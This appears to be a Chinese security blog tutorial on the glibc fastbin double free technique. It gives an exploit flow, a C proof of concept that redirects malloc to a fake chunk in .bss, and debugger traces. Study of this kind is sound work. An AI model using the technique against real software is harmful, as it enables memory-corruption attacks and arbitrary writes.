欢迎光临散文网 会员登陆 & 注册

二进制安全之堆溢出(系列)—— fastbin double free

2020-04-16 14:06 作者:汇智知了堂  | 我要投稿

本文是二进制安全之堆溢出系列的第九章节,主要介绍 fastbin double free。

原理

介绍

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。 这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块。

原因

fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空 fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。 if (__builtin_expect (old == p, 0))      malloc_printerr ("double free or corruption (fasttop)");

流程


new(0x60)  # 0 new(0x60)  # 1 new(0x60)  # 2 del(0)      //指针未置空,可以再free 1次 del(1)        //改变arena指针指向2,起中介作用,不然再次del(0)会报错:double free del(0) new(0x60)  # 0 edit(0)     //change fd 2 target_addr,此时bin中还有一个1,两种内存相同,从而造成overlap new(0x60)  # 1 new(0x60)  # 0 change fastbin arena fd 2 target_addr new(0x60)  # target 注意因为 chunk1 被再次释放因此其 fd 值不再为 0 而是指向 chunk2 这时如果我们可以控制 chunk1 的内容,便可以写入其 fd 指针从而实现在我们想要的任意地址分配 fastbin 块。

DEMO

#include <stdio.h> #include <malloc.h> #include <unistd.h> #include <string.h> typedef struct _chunk {    long long pre_size;    long long size;    long long fd;    long long bk; } CHUNK,*PCHUNK; CHUNK bss_chunk; int main(void) {    void *chunk1,*chunk2,*chunk3;    void *chunk_a,*chunk_b;    bss_chunk.size=0x21;    chunk1=malloc(0x10);    chunk2=malloc(0x10);    sleep(0);    free(chunk1);    free(chunk2);    free(chunk1); //now:main_arena=>chunk1=>chun2=>chunk1    sleep(0);    chunk_a=malloc(0x10);    sleep(0);    *(long long *)chunk_a=&bss_chunk;    sleep(0);    malloc(0x10);    sleep(0);    malloc(0x10);    sleep(0);    chunk_b=malloc(0x10);    sleep(0);    printf("%p",chunk_b);    return 0; }

调试

  • 构造double free之后的链表

0x20: 0x602000 —▸ 0x602020 ◂— 0x602000 此时链表的情况为:main_arena=>chunk1=>chun2=>chunk1

第一次将chunk1 malloc出去

0x20: 0x602020 —▸ 0x602000 ◂— 0x602020 /* '‘ */`

修改chunk1的fd为bss_addr

0x602010: 0x0000000000601080 0x0000000000000000 0x601080 <bss_chunk>: 0x0000000000000000 0x0000000000000021 0x20: 0x602020 —▸ 0x602000 —▸ 0x601080 (bss_chunk) ◂— 0x0

将chunk2 malloc出去

0x20: 0x602000 —▸ 0x601080 (bss_chunk) ◂— 0x0

将chunk1 再次malloc出去

0x20: 0x601080 (bss_chunk) ◂— 0x0

malloc chunk_b 即bss的堆块

0x601090 打印出chunk_b的地址正是bss_chunk的数据区指针

总结

bss_chunk.size=0×21的原因: if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) {   errstr = "malloc(): memory corruption (fast)"; errout:   malloc_printerr (check_action, errstr, chunk2mem (victim));   return NULL; } _int_malloc 会对欲分配位置的 size 域进行验证,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。


二进制安全之堆溢出(系列)—— fastbin double free的评论 (共 条)

分享到微博请遵守国家法律